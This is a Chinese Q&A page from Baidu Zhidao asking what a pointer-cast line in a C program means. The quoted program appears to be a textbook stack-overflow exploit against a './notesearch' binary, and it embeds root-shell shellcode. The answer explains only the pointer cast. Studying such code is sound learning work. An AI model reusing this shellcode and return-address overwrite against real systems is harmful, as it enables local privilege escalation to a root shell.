*((unsigned int *)(buffer+i)) = ret;是什么意思

来源：百度知道 编辑：UC知道 时间：2024/06/09 12:36:53
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;

command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.

strcpy(command, "./notesearch \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.

if(argc > 1) // Set offset.
offset = atoi(argv[1]);

ret = (unsigned int) &i - offset; // Set return address

*((unsigned int *)(buffer+i)) = ret;
buffer是一个指针，buffer+i也是一个指针（地址），然后加了一个(unsigned int *)强制转化了这个指针的类型成unsigned int *,然后在用了一个*得到该地址指向的空间，然后把ret赋值给它。